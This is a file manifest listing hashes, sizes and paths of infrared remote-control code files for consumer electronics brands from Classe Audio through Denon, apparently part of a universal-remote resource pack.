-F:bb7b69a12bd8a3aa71d09996df618d3b:921:infrared/_CSV-IRDB_/Classe Audio/Amplifier/7,-1.ir -F:cf325e6795366ce9623d44bce690fc56:1818:infrared/_CSV-IRDB_/Classe Audio/CD Player/134,97.ir -F:18866d17d30c55f764f7ca4efe988d03:3861:infrared/_CSV-IRDB_/Classe Audio/CD Player/20,-1.ir -F:7f9d4f1ac2efced21cf2276079e5fc6c:3921:infrared/_CSV-IRDB_/Classe Audio/CRCD/16,-1.ir -F:c9e46d5a9e7af0bbb1b28cdc29c1eca8:1667:infrared/_CSV-IRDB_/Classe Audio/CRCD/17,-1.ir -F:d5d3a76ce52572a0180f24517f58d209:4445:infrared/_CSV-IRDB_/Classe Audio/CRCD/20,-1.ir -F:992fc3e660bb89fc64cac64833c27260:5623:infrared/_CSV-IRDB_/Classe Audio/DVD Player/12,-1.ir -F:2f5eb213431907eca57f12e0907a4997:4215:infrared/_CSV-IRDB_/Classe Audio/DVD Player/20,-1.ir -F:44a021776fbb63b535d7d2e3699f8b37:721:infrared/_CSV-IRDB_/Classe Audio/DVD Player/200,-1.ir -F:4a8d20cfcd5615e45a100607f76f8a34:565:infrared/_CSV-IRDB_/Classe Audio/DVD Player/25,-1.ir -F:c205d4f845e8293e4b4f15ccaae71d30:5010:infrared/_CSV-IRDB_/Classe Audio/DVD Player/4,-1.ir -F:f5a370a8fd9ace0e4807ac20c9da3bb7:565:infrared/_CSV-IRDB_/Classe Audio/DVD Player/7,-1.ir -F:e45d18775b6826891702f9e462851081:3403:infrared/_CSV-IRDB_/Classe Audio/Integrated Amplifier/7,-1.ir -F:bb1d9b22edae7067ea41059faa564286:5042:infrared/_CSV-IRDB_/Classe Audio/Pre-Amplifier/16,-1.ir -F:83882718f59151b85b2cf62768b01447:1647:infrared/_CSV-IRDB_/Classe Audio/Pre-Amplifier/200,-1.ir -F:93331c86707911d92c52580feb051ffc:3954:infrared/_CSV-IRDB_/Classe Audio/Pre-Amplifier/25,-1.ir -F:1bca9f3b395708b250d0c18f229bb1a2:5647:infrared/_CSV-IRDB_/Classe Audio/Pre-Amplifier/3,-1.ir -F:1fdfa855f59b7c6e64a363b0f03fb55d:5895:infrared/_CSV-IRDB_/Classe Audio/Pre-Amplifier/7,-1.ir -F:a21c39e15a9dd6d58c7177673900a9cb:6373:infrared/_CSV-IRDB_/Classe Audio/SACD/20,-1.ir -F:f5a370a8fd9ace0e4807ac20c9da3bb7:565:infrared/_CSV-IRDB_/Classe Audio/SACD/7,-1.ir -F:9e947c65ccd5d66961eefbe31930ec77:16367:infrared/_CSV-IRDB_/Classe Audio/Surround Processor/116,-1.ir -F:7602c409083c92d2ad2d16ab089c97f9:1635:infrared/_CSV-IRDB_/Classe Audio/Surround Processor/200,-1.ir -F:8b63ef59bf35cb768bce9fb57a5a59e8:11223:infrared/_CSV-IRDB_/Classe Audio/Surround Processor/25,-1.ir -F:9e947c65ccd5d66961eefbe31930ec77:16367:infrared/_CSV-IRDB_/Classe Audio/Surround Sound/116,-1.ir -F:7602c409083c92d2ad2d16ab089c97f9:1635:infrared/_CSV-IRDB_/Classe Audio/Surround Sound/200,-1.ir -F:610bdbd149f310c585e63441ebdaf15d:4757:infrared/_CSV-IRDB_/Classe Audio/Tuner/17,-1.ir -F:f5a370a8fd9ace0e4807ac20c9da3bb7:565:infrared/_CSV-IRDB_/Classe Audio/Tuner/7,-1.ir -D:infrared/_CSV-IRDB_/Coby/DVD Player -D:infrared/_CSV-IRDB_/Coby/TV -F:fb1a08a72466695df66d5cd42f29def8:1316:infrared/_CSV-IRDB_/Coby/DVD Player/0,-1.ir -F:36e0d74662ed8d0fd14a91e43747d098:3119:infrared/_CSV-IRDB_/Coby/TV/0,127.ir -D:infrared/_CSV-IRDB_/Colorado Vnet/Music Server -F:214b2658b09942f3ba21cdad069bb691:1374:infrared/_CSV-IRDB_/Colorado Vnet/Music Server/110,146.ir -D:infrared/_CSV-IRDB_/Comcast/Cable Box -D:infrared/_CSV-IRDB_/Comcast/Digital Cable -D:infrared/_CSV-IRDB_/Comcast/HD Cable with DVR -F:c843a216b67eba273f07e084de64ab1b:7733:infrared/_CSV-IRDB_/Comcast/Cable Box/0,-1.ir -F:bcad76c048e412d05c51de9320879d28:300:infrared/_CSV-IRDB_/Comcast/Cable Box/1,-1.ir -F:05b208cc5ae1cb6a646de0143e628b72:120:infrared/_CSV-IRDB_/Comcast/Cable Box/14,-1.ir -F:613d0e67b187c7f140786a129ac83616:825:infrared/_CSV-IRDB_/Comcast/Cable Box/15,-1.ir -F:42377f6a006a05e1138f2c1cb783ea11:2052:infrared/_CSV-IRDB_/Comcast/Cable Box/27,-1.ir -F:aa3d86632385c80f690447c2c6b77832:6845:infrared/_CSV-IRDB_/Comcast/Cable Box/62,16.ir -F:a64ea00b76711432b9fc4446f9e93e4f:299:infrared/_CSV-IRDB_/Comcast/Digital Cable/15,-1.ir -F:42377f6a006a05e1138f2c1cb783ea11:2052:infrared/_CSV-IRDB_/Comcast/Digital Cable/27,-1.ir -F:884458922dc19241a56fa0a76ad69408:3676:infrared/_CSV-IRDB_/Comcast/HD Cable with DVR/0,-1.ir -F:05b208cc5ae1cb6a646de0143e628b72:120:infrared/_CSV-IRDB_/Comcast/HD Cable with DVR/14,-1.ir -D:infrared/_CSV-IRDB_/Commodore/Unknown_cdtv -F:a5f0af5a9103a7bdadcd8133a07905a7:2429:infrared/_CSV-IRDB_/Commodore/Unknown_cdtv/0,-1.ir -D:infrared/_CSV-IRDB_/Compro/Unknown_DVB-T200 -D:infrared/_CSV-IRDB_/Compro/Unknown_VideoMate-K300 -F:6fd33ba4796b72c52af4bddfdb395ecb:3331:infrared/_CSV-IRDB_/Compro/Unknown_DVB-T200/128,126.ir -F:e1d2afb9496f1a9889f540e5e41316ce:4330:infrared/_CSV-IRDB_/Compro/Unknown_VideoMate-K300/4,15.ir -D:infrared/_CSV-IRDB_/Conrad/Unknown_006 -D:infrared/_CSV-IRDB_/Conrad/Unknown_Promo8 -F:f357605ba3700889698fc6df3478de83:2547:infrared/_CSV-IRDB_/Conrad/Unknown_006/56,-1.ir -F:b282c02689501f30f9dc5691dde731aa:5713:infrared/_CSV-IRDB_/Conrad/Unknown_Promo8/0,-1.ir -D:infrared/_CSV-IRDB_/Contour/Unknown_Contour25 -F:d6c9c99a3b2b81953c307e5de7c2b10c:2169:infrared/_CSV-IRDB_/Contour/Unknown_Contour25/65,0.ir -D:infrared/_CSV-IRDB_/Cool Sat/Satellite -F:ec693e9d4b7cf5663020d024d45bf3db:3970:infrared/_CSV-IRDB_/Cool Sat/Satellite/64,64.ir -D:infrared/_CSV-IRDB_/Coolsat/Unknown_Pro -F:80132cf5e03ccdf5aa37543dea3bbf13:2764:infrared/_CSV-IRDB_/Coolsat/Unknown_Pro/1,-1.ir -D:infrared/_CSV-IRDB_/Copland/CD Player -F:821f6bdd4efab8077a27bc869a7a16ad:2691:infrared/_CSV-IRDB_/Copland/CD Player/128,114.ir -F:c0e262bfe00d5a1522e8125b60987a6b:728:infrared/_CSV-IRDB_/Copland/CD Player/129,49.ir -D:infrared/_CSV-IRDB_/Corvo/Relaybox -F:0e01554e44c533bd075bd78ac9633ad4:741:infrared/_CSV-IRDB_/Corvo/Relaybox/27,-1.ir -D:infrared/_CSV-IRDB_/Cox/Digital Cable -F:b605a0c30933c309b304642cded83fa4:2585:infrared/_CSV-IRDB_/Cox/Digital Cable/0,-1.ir -F:8bebc0300dc29584da02bdc960b38503:300:infrared/_CSV-IRDB_/Cox/Digital Cable/1,-1.ir -D:infrared/_CSV-IRDB_/Cph03x/Unknown_AS-218 -F:99878f5a77a6d99bb251a887b7edc2d7:2706:infrared/_CSV-IRDB_/Cph03x/Unknown_AS-218/134,107.ir -D:infrared/_CSV-IRDB_/Creative/Unknown_DDTS-100 -D:infrared/_CSV-IRDB_/Creative/Unknown_INFRA -D:infrared/_CSV-IRDB_/Creative/Unknown_JUKEBOX3 -D:infrared/_CSV-IRDB_/Creative/Unknown_RM-1500 -D:infrared/_CSV-IRDB_/Creative/Unknown_RM-1800 -D:infrared/_CSV-IRDB_/Creative/Unknown_RM-850 -D:infrared/_CSV-IRDB_/Creative/Unknown_RM900 -D:infrared/_CSV-IRDB_/Creative/Unknown_rm1000w -F:c9377817cd54f316ba2985a263cf9d34:1564:infrared/_CSV-IRDB_/Creative/Unknown_DDTS-100/193,68.ir -F:9af82e6a3c5a3d36eaa42b147fc3c845:2162:infrared/_CSV-IRDB_/Creative/Unknown_INFRA/33,172.ir -F:65c7ec8fa952ad9997c5a62f5e90de6a:771:infrared/_CSV-IRDB_/Creative/Unknown_JUKEBOX3/33,172.ir -F:af1d21abb31a7e8d9dd3fefb4b11ca97:2949:infrared/_CSV-IRDB_/Creative/Unknown_RM-1500/193,68.ir -F:fb7f7fbc7342650814ed0317f4a57151:3969:infrared/_CSV-IRDB_/Creative/Unknown_RM-1800/193,68.ir -F:584f0729310894205f39d1c386cd1205:2223:infrared/_CSV-IRDB_/Creative/Unknown_RM-850/193,68.ir -F:ec801d997f15888f4e265ec20bdcf8de:5247:infrared/_CSV-IRDB_/Creative/Unknown_RM900/193,68.ir -F:c8b4eb640cdbd0acd52d05dfadeb8aed:3038:infrared/_CSV-IRDB_/Creative/Unknown_rm1000w/193,68.ir -D:infrared/_CSV-IRDB_/Crestron/IR Receiver -D:infrared/_CSV-IRDB_/Crestron/Lighting Controller -D:infrared/_CSV-IRDB_/Crestron/Music Server -F:a05c037c4139a910d8e46516675f7239:5541:infrared/_CSV-IRDB_/Crestron/IR Receiver/0,-1.ir -F:57ca0afb4f9ce0a3837f9c5d22033639:5541:infrared/_CSV-IRDB_/Crestron/IR Receiver/1,-1.ir -F:036e113d327749c51989d290df4e88d0:5541:infrared/_CSV-IRDB_/Crestron/IR Receiver/2,-1.ir -F:6d5332d5283215a7f38bb186cb848b59:5541:infrared/_CSV-IRDB_/Crestron/IR Receiver/3,-1.ir -F:5351cf426b9c522a39695d961a58fc05:5541:infrared/_CSV-IRDB_/Crestron/IR Receiver/4,-1.ir -F:08b0df39f59412bac281a1cfc338fb52:728:infrared/_CSV-IRDB_/Crestron/Lighting Controller/30,-1.ir -F:334d74e49865eb163c5462525ef2d18e:3425:infrared/_CSV-IRDB_/Crestron/Music Server/14,-1.ir -D:infrared/_CSV-IRDB_/Crown/Unknown_cd-80 -D:infrared/_CSV-IRDB_/Crown/Unknown_testinglirc.config -F:222a9ed2bf7db1ac9fb83c2862ad2331:1449:infrared/_CSV-IRDB_/Crown/Unknown_cd-80/202,20.ir -F:1bb20dcb63a4f1c15c0741f5f278870b:3629:infrared/_CSV-IRDB_/Crown/Unknown_testinglirc.config/0,-1.ir -D:infrared/_CSV-IRDB_/Curtis Electronics/Unknown_TV -F:57ada46950d0336122a48d815fbc939c:3359:infrared/_CSV-IRDB_/Curtis Electronics/Unknown_TV/0,-1.ir -D:infrared/_CSV-IRDB_/Curtis Mathes/VCR -F:5e350f025fadc601e05cc8a0e188a477:2337:infrared/_CSV-IRDB_/Curtis Mathes/VCR/144,0.ir -F:03e4b8de75daf50916b88a0d2da8df1d:978:infrared/_CSV-IRDB_/Curtis Mathes/VCR/144,1.ir -D:infrared/_CSV-IRDB_/Cyberhome/DVD Player -D:infrared/_CSV-IRDB_/Cyberhome/Unknown_300-RMC-300Z -D:infrared/_CSV-IRDB_/Cyberhome/Unknown_504 -D:infrared/_CSV-IRDB_/Cyberhome/Unknown_ADL-528 -D:infrared/_CSV-IRDB_/Cyberhome/Unknown_CH-DVD -D:infrared/_CSV-IRDB_/Cyberhome/Unknown_CH-DVD-302 -D:infrared/_CSV-IRDB_/Cyberhome/Unknown_cyberhome -F:c632c2964d277201d597d0377996d6fd:3490:infrared/_CSV-IRDB_/Cyberhome/DVD Player/114,205.ir -F:12a91b7c5e155ed86d6843d371b7965e:3950:infrared/_CSV-IRDB_/Cyberhome/Unknown_300-RMC-300Z/114,205.ir -F:a5e89b3c6d537742e5d15b55f20f067f:3932:infrared/_CSV-IRDB_/Cyberhome/Unknown_504/114,205.ir -F:b7381ce7741a5d90e2a89f86d79d62f3:3931:infrared/_CSV-IRDB_/Cyberhome/Unknown_ADL-528/114,205.ir -F:99f64f32f76a7e62ca7dea65554d65e2:3803:infrared/_CSV-IRDB_/Cyberhome/Unknown_CH-DVD/114,205.ir -F:a9bbf0291853d4fb7635fba167ce90d2:3917:infrared/_CSV-IRDB_/Cyberhome/Unknown_CH-DVD-302/114,205.ir -F:77b869e5c758ba2291a5804f8424a04e:2242:infrared/_CSV-IRDB_/Cyberhome/Unknown_cyberhome/114,205.ir -D:infrared/_CSV-IRDB_/Cypress/Unknown_CR-72 -F:c2e168cfb909f55f055cbdfc00433dc4:471:infrared/_CSV-IRDB_/Cypress/Unknown_CR-72/64,175.ir -D:infrared/_CSV-IRDB_/Cyron/Lighting Controller -F:2aa436787fb11127df26eebe9d259699:2699:infrared/_CSV-IRDB_/Cyron/Lighting Controller/2,189.ir -D:infrared/_CSV-IRDB_/D-LINK/MP3 Player -D:infrared/_CSV-IRDB_/D-LINK/Media Center -D:infrared/_CSV-IRDB_/D-LINK/Unknown_DSM320 -D:infrared/_CSV-IRDB_/D-LINK/Unknown_i2eye -F:6ab32e38c92e671466975e4e36f2616a:2841:infrared/_CSV-IRDB_/D-LINK/MP3 Player/18,37.ir -F:a4fecae79e3bd43efa73af4a82293625:3332:infrared/_CSV-IRDB_/D-LINK/MP3 Player/8,230.ir -F:e9c7b59b56f68704cea0917c70d5ea8d:3646:infrared/_CSV-IRDB_/D-LINK/Media Center/8,230.ir -F:b5fccc242b58f25a94d4e23d01030f9c:3456:infrared/_CSV-IRDB_/D-LINK/Media Center/8,231.ir -F:f18d42f10dfd8659ca137fd55f3a1329:3878:infrared/_CSV-IRDB_/D-LINK/Unknown_DSM320/8,230.ir -F:1ef0e8fef1dffaf2791b732c17eb4726:2181:infrared/_CSV-IRDB_/D-LINK/Unknown_i2eye/130,19.ir -D:infrared/_CSV-IRDB_/DBPower/Projector_T20 -F:f0f6fd1b912b1927061b1b95b3381390:1077:infrared/_CSV-IRDB_/DBPower/Projector_T20/2,-1.ir -D:infrared/_CSV-IRDB_/DIFRNCE/Unknown_DVD5010S -F:bbe644f08b472c119f9efe772c89719f:4179:infrared/_CSV-IRDB_/DIFRNCE/Unknown_DVD5010S/0,-1.ir -D:infrared/_CSV-IRDB_/DK Digital/DVD Player -D:infrared/_CSV-IRDB_/DK Digital/Unknown_Digital -F:36b965ef9010c54a6cc3f766a09f5d80:2945:infrared/_CSV-IRDB_/DK Digital/DVD Player/0,-1.ir -F:fabd6737447840833ed57c59c8c66d52:4211:infrared/_CSV-IRDB_/DK Digital/Unknown_Digital/0,-1.ir -D:infrared/_CSV-IRDB_/DLO/HomeDock -F:5c85d434e23a5d5e9e6b96f925f6248f:3821:infrared/_CSV-IRDB_/DLO/HomeDock/238,135.ir -D:infrared/_CSV-IRDB_/DSE/Unknown_G1605 -D:infrared/_CSV-IRDB_/DSE/Unknown_G1928 -D:infrared/_CSV-IRDB_/DSE/Unknown_G7659 -F:b7e88446fda0617931bb4d3bf963d88b:2959:infrared/_CSV-IRDB_/DSE/Unknown_G1605/5,-1.ir -F:18759c875c09512474ba62d6b2b0e603:4361:infrared/_CSV-IRDB_/DSE/Unknown_G1928/0,-1.ir -F:269adc5ae011ca19f01c3934ed015891:2894:infrared/_CSV-IRDB_/DSE/Unknown_G7659/0,-1.ir -D:infrared/_CSV-IRDB_/DVDO/Scaler -D:infrared/_CSV-IRDB_/DVDO/Video Processor -F:80bf0b01a1e4a9b95bb9d63164d256a7:118:infrared/_CSV-IRDB_/DVDO/Scaler/0,45.ir -F:19bd828e92f3a9f008aa5776af026417:8431:infrared/_CSV-IRDB_/DVDO/Scaler/132,32.ir -F:80bf0b01a1e4a9b95bb9d63164d256a7:118:infrared/_CSV-IRDB_/DVDO/Video Processor/0,45.ir -F:db74986161e510795d286f2dcf09c1c2:3683:infrared/_CSV-IRDB_/DVDO/Video Processor/132,32.ir -D:infrared/_CSV-IRDB_/DVICO/Unknown_FusionRemote -F:ef4bea4a4fe390eec97a5f85b720a95c:4020:infrared/_CSV-IRDB_/DVICO/Unknown_FusionRemote/1,-1.ir -D:infrared/_CSV-IRDB_/Da Lite/Screen -F:d2131e72093071a0af1836423153e155:290:infrared/_CSV-IRDB_/Da Lite/Screen/0,-1.ir -D:infrared/_CSV-IRDB_/Daeumling/Unknown_SR200 -F:4691fb9bb63c60bf42cba262ceccfa71:1772:infrared/_CSV-IRDB_/Daeumling/Unknown_SR200/128,38.ir -D:infrared/_CSV-IRDB_/Daewoo/DVD Player -D:infrared/_CSV-IRDB_/Daewoo/TV -D:infrared/_CSV-IRDB_/Daewoo/Unknown_14Q3 -D:infrared/_CSV-IRDB_/Daewoo/Unknown_97P04701 -D:infrared/_CSV-IRDB_/Daewoo/Unknown_97P1R2ZDA0 -D:infrared/_CSV-IRDB_/Daewoo/Unknown_97P1RA3AB0 -D:infrared/_CSV-IRDB_/Daewoo/Unknown_DAEWOO -D:infrared/_CSV-IRDB_/Daewoo/Unknown_DS608P -D:infrared/_CSV-IRDB_/Daewoo/Unknown_DV-800 -D:infrared/_CSV-IRDB_/Daewoo/Unknown_DV-F24D -D:infrared/_CSV-IRDB_/Daewoo/Unknown_DVDS150 -D:infrared/_CSV-IRDB_/Daewoo/Unknown_R-40A06 -D:infrared/_CSV-IRDB_/Daewoo/Unknown_R-40A10 -D:infrared/_CSV-IRDB_/Daewoo/Unknown_R-40A15 -D:infrared/_CSV-IRDB_/Daewoo/Unknown_R-43A08 -D:infrared/_CSV-IRDB_/Daewoo/Unknown_VCR -D:infrared/_CSV-IRDB_/Daewoo/Unknown_Visa -D:infrared/_CSV-IRDB_/Daewoo/Unknown_r-22 -D:infrared/_CSV-IRDB_/Daewoo/VCR -F:12ce87a5ff47956c2ef494338cd853f9:3756:infrared/_CSV-IRDB_/Daewoo/DVD Player/21,-1.ir -F:0bc66210949ee339eb11c79f6bc3b996:880:infrared/_CSV-IRDB_/Daewoo/TV/20,-1.ir -F:a8361d53b00f91f89059bd716103b810:228:infrared/_CSV-IRDB_/Daewoo/TV/4,-1.ir -F:cb9e129764fd5411d75c54049e256537:228:infrared/_CSV-IRDB_/Daewoo/TV/6,6.ir -F:5c899c8fda060b32a554f2a657a5d9fb:2414:infrared/_CSV-IRDB_/Daewoo/Unknown_14Q3/0,-1.ir -F:c65ab9d24a31db595b8efeed32c95f5d:3162:infrared/_CSV-IRDB_/Daewoo/Unknown_97P04701/21,-1.ir -F:23b957e072f43cb435229c170e84cb60:3826:infrared/_CSV-IRDB_/Daewoo/Unknown_97P1R2ZDA0/21,-1.ir -F:872bcd3008d7e5a7767b526319f583b6:2495:infrared/_CSV-IRDB_/Daewoo/Unknown_97P1RA3AB0/21,-1.ir -F:68f003138f0b7ec3a29309ea369aa8cc:2396:infrared/_CSV-IRDB_/Daewoo/Unknown_DAEWOO/0,-1.ir -F:6ec171f4dd747a52e3a54e902da2d90c:3330:infrared/_CSV-IRDB_/Daewoo/Unknown_DAEWOO/21,-1.ir -F:6e377619232873ca0e27dbfec62a7efd:2678:infrared/_CSV-IRDB_/Daewoo/Unknown_DS608P/17,-1.ir -F:ec06e56a8d408129dbb6864bd5089d89:4382:infrared/_CSV-IRDB_/Daewoo/Unknown_DV-800/21,-1.ir -F:d3ab3430f5b040378cc866ac545a5d27:3311:infrared/_CSV-IRDB_/Daewoo/Unknown_DV-F24D/21,-1.ir -F:923d13ec1cbd88d36f780e6c611fe3e4:3862:infrared/_CSV-IRDB_/Daewoo/Unknown_DVDS150/32,-1.ir -F:e09f4188b10554d7f4b768b85b98b9e1:2306:infrared/_CSV-IRDB_/Daewoo/Unknown_R-40A06/20,-1.ir -F:483304035fd5e0ac30a8adddcb3fbbdb:2145:infrared/_CSV-IRDB_/Daewoo/Unknown_R-40A10/20,-1.ir -F:fd03493ed2bd81cfad9da8c0cc63899e:1376:infrared/_CSV-IRDB_/Daewoo/Unknown_R-40A15/20,-1.ir -F:03dfe04d453c88ddfb5c56d253742383:1886:infrared/_CSV-IRDB_/Daewoo/Unknown_R-43A08/20,-1.ir -F:f0c7e4a36f4553e0579cf504a994f434:3074:infrared/_CSV-IRDB_/Daewoo/Unknown_VCR/21,-1.ir -F:befd9a255d1cc2aad041488093373841:2750:infrared/_CSV-IRDB_/Daewoo/Unknown_VCR/49,-1.ir -F:9ff8a7ea24d970828ae8c4a546361a99:3503:infrared/_CSV-IRDB_/Daewoo/Unknown_Visa/20,-1.ir -F:08b871a4e7309a8fdb2da6c5b0e4381c:3043:infrared/_CSV-IRDB_/Daewoo/Unknown_r-22/0,-1.ir -F:54ab1a6b62e44f603c82242fe3934094:3051:infrared/_CSV-IRDB_/Daewoo/VCR/21,-1.ir -D:infrared/_CSV-IRDB_/Dantax/DVD Player -D:infrared/_CSV-IRDB_/Dantax/Unknown_RC -F:982ffcf12d1d114bb9e833830bc38594:3742:infrared/_CSV-IRDB_/Dantax/DVD Player/0,-1.ir -F:6d97723519ebcac05f04fe16c0623a1e:4118:infrared/_CSV-IRDB_/Dantax/Unknown_RC/0,-1.ir -D:infrared/_CSV-IRDB_/Dedicated Micros/Camera Switcher -F:5b376e2457d2d7c9e06b7a3973ec07c7:3614:infrared/_CSV-IRDB_/Dedicated Micros/Camera Switcher/4,-1.ir -D:infrared/_CSV-IRDB_/Dell/TV -D:infrared/_CSV-IRDB_/Dell/Unknown_XPS -D:infrared/_CSV-IRDB_/Dell/Video Projector -F:a7934e6e7e2ef848701933f13552bfdb:3094:infrared/_CSV-IRDB_/Dell/TV/0,28.ir -F:345c10f9ac3efed849189ee08cb57e53:1581:infrared/_CSV-IRDB_/Dell/Unknown_XPS/43,28.ir -F:84a7f59248373fd10ac11a11ea9887bd:2627:infrared/_CSV-IRDB_/Dell/Video Projector/79,80.ir -D:infrared/_CSV-IRDB_/Delphi/Satellite Receiver -F:cf1d81b2ff03a1a05b95806e63465310:4211:infrared/_CSV-IRDB_/Delphi/Satellite Receiver/27,-1.ir -D:infrared/_CSV-IRDB_/Denon/AV Processor -D:infrared/_CSV-IRDB_/Denon/Amplifier -D:infrared/_CSV-IRDB_/Denon/Blu-Ray -D:infrared/_CSV-IRDB_/Denon/CD Jukebox -D:infrared/_CSV-IRDB_/Denon/CD Player -D:infrared/_CSV-IRDB_/Denon/CD Receiver -D:infrared/_CSV-IRDB_/Denon/Cassette Tape -D:infrared/_CSV-IRDB_/Denon/DAT -D:infrared/_CSV-IRDB_/Denon/DVD Player -D:infrared/_CSV-IRDB_/Denon/Laser Disc -D:infrared/_CSV-IRDB_/Denon/Mini-Disc -D:infrared/_CSV-IRDB_/Denon/Pre-Amplifier -D:infrared/_CSV-IRDB_/Denon/Processor -D:infrared/_CSV-IRDB_/Denon/Receiver -D:infrared/_CSV-IRDB_/Denon/Tuner -D:infrared/_CSV-IRDB_/Denon/Unknown -D:infrared/_CSV-IRDB_/Denon/Unknown_Denon -D:infrared/_CSV-IRDB_/Denon/Unknown_RC-220 -D:infrared/_CSV-IRDB_/Denon/Unknown_RC-224 -D:infrared/_CSV-IRDB_/Denon/Unknown_RC-241 -D:infrared/_CSV-IRDB_/Denon/Unknown_RC-541 -D:infrared/_CSV-IRDB_/Denon/Unknown_RC-861 -D:infrared/_CSV-IRDB_/Denon/Unknown_RC267 -D:infrared/_CSV-IRDB_/Denon/Unknown_denon-rc-251 -D:infrared/_CSV-IRDB_/Denon/Unknown_denon-rc-266 -F:4d98b8f3ee8698766c3168f1f258e309:1607:infrared/_CSV-IRDB_/Denon/AV Processor/12,-1.ir -F:d4790927473fd75f71b55ba0b01999b2:2446:infrared/_CSV-IRDB_/Denon/AV Processor/2,-1.ir -F:3995cabb019061fabbe5cd590b31796f:221:infrared/_CSV-IRDB_/Denon/AV Processor/4,-1.ir -F:e3684ad2e4d96683b237d9c56ef0c75b:3578:infrared/_CSV-IRDB_/Denon/Amplifier/12,-1.ir -F:ab65b2a0f0dd191d2f3d0314017fde24:8962:infrared/_CSV-IRDB_/Denon/Amplifier/2,-1.ir -F:332feb42c681e425bb440bdf91fd5e74:3451:infrared/_CSV-IRDB_/Denon/Amplifier/4,-1.ir -F:321b9fb76d20a8512b411d137d628ee2:1600:infrared/_CSV-IRDB_/Denon/Amplifier/6,-1.ir -F:3063b217c91b6cf2238600fb3c77daf2:2024:infrared/_CSV-IRDB_/Denon/Amplifier/8,-1.ir -F:b9320ae598debb4fd2d8e8ff9d7a9434:4029:infrared/_CSV-IRDB_/Denon/Blu-Ray/2,1.ir -F:83b68fd31dd61e396aa87c7112bf7ca9:663:infrared/_CSV-IRDB_/Denon/CD Jukebox/4,-1.ir -F:0a1a0d2cd4ea018ba0529b4cb9c6beb4:4965:infrared/_CSV-IRDB_/Denon/CD Jukebox/8,-1.ir -F:cc8076224a75025786b0414d1536c04a:3272:infrared/_CSV-IRDB_/Denon/CD Player/168,-1.ir -F:172a8d2e6ee4656ef6d2e0484c8e4e9a:199:infrared/_CSV-IRDB_/Denon/CD Player/175,-1.ir -F:83b68fd31dd61e396aa87c7112bf7ca9:663:infrared/_CSV-IRDB_/Denon/CD Player/4,-1.ir -F:46048b5a61d9864236e9832f9e4d64f8:3775:infrared/_CSV-IRDB_/Denon/CD Player/6,-1.ir -F:fb26a6798468678b204631940dfde5e2:14086:infrared/_CSV-IRDB_/Denon/CD Player/8,-1.ir -F:f6992719ffc66953a7569c217b120d50:1466:infrared/_CSV-IRDB_/Denon/CD Receiver/12,-1.ir -F:9e8d5771adc98ede14359a8df9608193:223:infrared/_CSV-IRDB_/Denon/CD Receiver/4,-1.ir -F:4a586974e4a1d7d453024fe52c735cff:233:infrared/_CSV-IRDB_/Denon/CD Receiver/6,-1.ir -F:c9246954747c5471cc7e042c1b5cbaa4:3097:infrared/_CSV-IRDB_/Denon/CD Receiver/8,-1.ir -F:78d3979015b7c94da49a73071b492e2b:1440:infrared/_CSV-IRDB_/Denon/Cassette Tape/12,-1.ir -F:da3666161064f6eaba15a1e410661815:576:infrared/_CSV-IRDB_/Denon/Cassette Tape/2,-1.ir -F:de5651ddf1f1523cf4be9f1cf05b8b5d:2714:infrared/_CSV-IRDB_/Denon/Cassette Tape/4,-1.ir -F:7604c17d8cfccb43f5216239f684e3df:589:infrared/_CSV-IRDB_/Denon/Cassette Tape/8,-1.ir -F:dcebf34aae8c9270e2f65d8944d6a5a1:2818:infrared/_CSV-IRDB_/Denon/DAT/4,-1.ir -F:1bbd5cd178854a9543ee62d97ee874cb:7039:infrared/_CSV-IRDB_/Denon/DVD Player/176,0.ir -F:e207544b1ab6ab8773bb5c1e22d61c44:119:infrared/_CSV-IRDB_/Denon/DVD Player/2,-1.ir -F:5356f01031b2126c5070264a0aabc5e9:2232:infrared/_CSV-IRDB_/Denon/DVD Player/2,1.ir -F:69558cfe10363b2aa39ae3c53c6ef231:936:infrared/_CSV-IRDB_/Denon/DVD Player/4,-1.ir -F:9f6c78bdfb49dc089d76cfba492cf98c:1781:infrared/_CSV-IRDB_/Denon/DVD Player/6,-1.ir -F:384d4b737e0a8688d2e7d8257922a218:15745:infrared/_CSV-IRDB_/Denon/DVD Player/8,-1.ir -F:556038a8306dd770fc1329f79753d48f:3960:infrared/_CSV-IRDB_/Denon/Laser Disc/168,-1.ir -F:1fb0aff0056f3c77879a06edfae9400d:2940:infrared/_CSV-IRDB_/Denon/Mini-Disc/6,-1.ir -F:d5e8a3e2dc7216a68421dd7691780417:1234:infrared/_CSV-IRDB_/Denon/Pre-Amplifier/12,-1.ir -F:769cf1816096f298a6da846e241f0f3c:1245:infrared/_CSV-IRDB_/Denon/Pre-Amplifier/2,-1.ir -F:66d65e176005d9d04fa226acc19939f0:3161:infrared/_CSV-IRDB_/Denon/Processor/12,-1.ir -F:fa349b1c99d331e2f28e91a6f46a1385:5917:infrared/_CSV-IRDB_/Denon/Processor/2,-1.ir -F:d5c68cb871613f099915b945da0b8833:685:infrared/_CSV-IRDB_/Denon/Processor/4,-1.ir -F:33e2404597d64f582733cde70efb09d2:401:infrared/_CSV-IRDB_/Denon/Processor/4,1.ir -F:4c5e1ea69f5ef4a20481f0622158291e:129:infrared/_CSV-IRDB_/Denon/Processor/4,3.ir -F:ba37bed857712170a1a26ddc9e016330:129:infrared/_CSV-IRDB_/Denon/Processor/4,5.ir -F:e9448d2be9763006d129972939914352:12790:infrared/_CSV-IRDB_/Denon/Receiver/12,-1.ir -F:ae2ee391f1afdc7728bba419baf8381c:9828:infrared/_CSV-IRDB_/Denon/Receiver/2,-1.ir -F:717be35b789e4a3668ccef5170cab206:3797:infrared/_CSV-IRDB_/Denon/Receiver/2,3.ir -F:72a92878e6d18e49f871af3c896c83dd:5152:infrared/_CSV-IRDB_/Denon/Receiver/4,-1.ir -F:bd6933928c6b1bc01a3505c93872b74e:19614:infrared/_CSV-IRDB_/Denon/Receiver/4,1.ir -F:b0a202cb2ce792047df7a03ed4b91a9a:2814:infrared/_CSV-IRDB_/Denon/Receiver/4,2.ir -F:4fd6c0f6809b50a19287e03508f37f4b:13670:infrared/_CSV-IRDB_/Denon/Receiver/4,3.ir -F:7fef537fd42318cf601d3eaa65e7ddac:4107:infrared/_CSV-IRDB_/Denon/Receiver/4,5.ir -F:b8d69b9b5312add96d5cf9517f67191c:9210:infrared/_CSV-IRDB_/Denon/Receiver/4,7.ir -F:906d7bc307e47663675973c8c6b68f81:2191:infrared/_CSV-IRDB_/Denon/Receiver/6,-1.ir -F:602a952e395680c7804d20d0e7927689:2635:infrared/_CSV-IRDB_/Denon/Receiver/7,4.ir 